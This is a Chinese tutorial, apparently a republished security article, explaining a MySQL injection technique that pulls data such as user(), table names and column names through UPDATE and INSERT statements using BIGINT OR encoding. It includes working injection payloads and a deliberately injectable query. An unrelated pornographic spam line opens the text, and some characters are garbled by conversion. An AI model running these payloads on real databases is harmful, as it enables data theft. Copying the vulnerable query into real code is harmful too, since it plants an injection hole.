自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

一種新的MySQL下Update、Insert注入方法

安全 數(shù)據(jù)安全
目前我們一般通過報(bào)錯(cuò)和時(shí)間盲注來對update和insert語句進(jìn)行SQL注入,下面我們來講解一種新的獲取數(shù)據(jù)的方法。

[[183607]]

一、前言

目前我們一般通過報(bào)錯(cuò)和時(shí)間盲注來對update和insert語句進(jìn)行SQL注入,下面我們來講解一種新的獲取數(shù)據(jù)的方法。

首先我們來看一個(gè)簡單的例子,假設(shè)應(yīng)用會(huì)將username字段的結(jié)果會(huì)返回給我們:

  1. $query = "UPDATE users SET username = '$username' WHERE id = '$id';"

HTTP應(yīng)用中的參數(shù)是這樣的:

  1.      
  2. username=test&id=16 

我最近研究的帶內(nèi),帶外攻擊技巧剛好適用于這個(gè)場景,要理解我的技巧,我們可以先看下Mysql 是如何處理字符串的。在Mysql 中一個(gè)字符串等于 ‘0’,我們來看一下:

Mysql 是如何處理字符串

假如我們把字符串和數(shù)字相加,結(jié)果和0 加這個(gè)數(shù)字一樣:

Mysql 是如何處理字符串

Mysql的這個(gè)屬性給了我一些靈感,我們來看看BIGINT的最大值加上一個(gè)字符串會(huì)怎樣?

BIGINT的最大值加上一個(gè)字符串

結(jié)果是 ‘1.8446744073709552e19’,這表明字符串實(shí)際上作為八字節(jié)的DOUBEL類型來處理。

八字節(jié)的DOUBEL類型

將一個(gè)DOUBLE類型和大數(shù)字相加會(huì)返回IEEE格式的值,為了解決這個(gè)問題我們可以使用OR。

OR

現(xiàn)在我們得到了最大的64bit無符號(hào)的BIGINT值0xffffffffffffffff。我們需要注意通過OR獲取數(shù)據(jù)時(shí),這個(gè)值必須小于BIGINT(不能超過64bit)。

二、轉(zhuǎn)換字符串為數(shù)字

為了獲取數(shù)據(jù)我們可以將應(yīng)用輸出的字段轉(zhuǎn)換為數(shù)字,然后再解碼回來,如下步驟:

  1. String -> Hexadecimal -> Decimal 

將應(yīng)用輸出的字段轉(zhuǎn)換為數(shù)字

通過SQL,Python和Ruby等語言我們可以將數(shù)字轉(zhuǎn)回字符串,如下:    

  1. Decimal -> Hexadecimal -> String 

通過SQL,Python和Ruby等語言我們可以將數(shù)字轉(zhuǎn)回字符串

如上面提到的,Mysql中的最大值為BIGINT,我們不能超過它,也就是說每次提取的字符串不能超過8位。

Mysql中的最大值為BIGINT

4702111234474983745可以被解碼為AAAAAAAA,如果再加一個(gè)A,我們就不能正確解碼了,因?yàn)榉祷氐慕Y(jié)果會(huì)是無符號(hào)的BIGINT值0xffffffffffffffff。

BIGINT值0xffffffffffffffff

如果需要獲取的數(shù)據(jù)超過8個(gè)字節(jié),我們需要使用substr()方法來將數(shù)據(jù)分片。

  1. select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10); 

n的取值為1、2、3…比如我們要獲取的username長度超過8個(gè)字符,我們首先獲取前八個(gè)字符,然后繼續(xù)獲取后面的8個(gè)直到得到NULL。

8個(gè)直到得到NULL

最后我們把user()函數(shù)獲得的數(shù)據(jù)解碼。

把user()函數(shù)獲得的數(shù)據(jù)解碼

三、注入技巧

1. 獲取表名

  1. select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10); 

2. 獲取列名

  1.      
  2. select conv(hex(substr((select column_name from information_schema.columns where table_name=’Name of your table’ limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10); 

3. 利用UPDATE語句

下面我們通過一個(gè)例子來說明如何利用更新語句。

利用更新語句

實(shí)際的查詢語句可能是這樣的:

實(shí)際的查詢語句

實(shí)際的查詢語句

4. 利用INSERT語句

原始SQL語句如下:

  1. insert into users values (17,'james', 'bond'); 

我們可以像update語句中一樣獲取數(shù)據(jù):

  1. insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10); 

MySQL 5.7中的限制

你可能注意到這種方法在MySQL 5.7.5之后的版本并不奏效。

MySQL 5.7.5

通過研究MySQL 5.7發(fā)現(xiàn)Mysql服務(wù)器默認(rèn)運(yùn)行在‘Strict SQL Mode’下,在MySQL 5.7.5里,默認(rèn)的模式包含‘STRICT_TRANS_TABLES’。在 ‘Strict SQL Mode’ 下我們不能將integer轉(zhuǎn)換為string。

將integer轉(zhuǎn)換為string

為了解決這個(gè)問題,我們需要在注入時(shí)一直使用一個(gè)integer類型,這樣就不會(huì)有任何問題了。

在注入時(shí)一直使用一個(gè)integer類型

另外任何用戶都可以在他的會(huì)話里關(guān)閉‘Strict Mode’。

‘Strict Mode’

如果想設(shè)置影響所有客戶端的全局屬性需要SUPER權(quán)限。

開發(fā)者也可以使用‘IGNORE’關(guān)鍵字來忽略‘Strict Mode’,如‘INSERT IGNORE’或者‘UPDATE IGNORE’。

‘Strict Mode’

四、解碼Decoding

SQL

  1. select unhex(conv(value, 10, 16)); 

Python

  1. dec = lambda x:("%x"%x).decode('hex') 

Ruby

  1. dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }或 
  2. dec = lambda { |x| puts x.to_s(16).scan(/\w+/).pack("H*") } 
責(zé)任編輯:趙寧寧 來源: 安全客
相關(guān)推薦

2014-07-04 09:28:25

2018-12-14 14:30:12

安全檢測布式系測試

2024-01-18 15:38:17

語言模型大型語言模型

2022-06-09 09:38:39

Cloudlets云存儲(chǔ)

2010-11-05 10:15:42

云計(jì)算

2011-07-04 17:53:48

快速測試

2011-04-06 10:09:56

MySQL數(shù)據(jù)庫安裝

2019-11-13 08:52:19

Linux監(jiān)控日志

2022-08-08 08:22:22

量子計(jì)算

2010-03-26 13:34:47

CentOS安裝

2021-06-11 00:11:23

GPS數(shù)據(jù)協(xié)議

2011-12-28 21:18:18

App

2009-06-17 12:01:21

Linux

2009-06-17 09:05:05

Linux隱藏網(wǎng)絡(luò)鏈接命令

2018-02-08 08:11:41

2022-07-28 11:29:23

數(shù)據(jù)安全數(shù)據(jù)令牌化

2022-04-06 12:00:46

HEAT安全架構(gòu)新威脅

2023-12-04 08:21:18

虛擬線程Tomcat

2019-11-22 09:21:17

技術(shù)研發(fā)數(shù)據(jù)

2020-12-16 10:12:52

大數(shù)據(jù)小數(shù)據(jù)人工智能
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)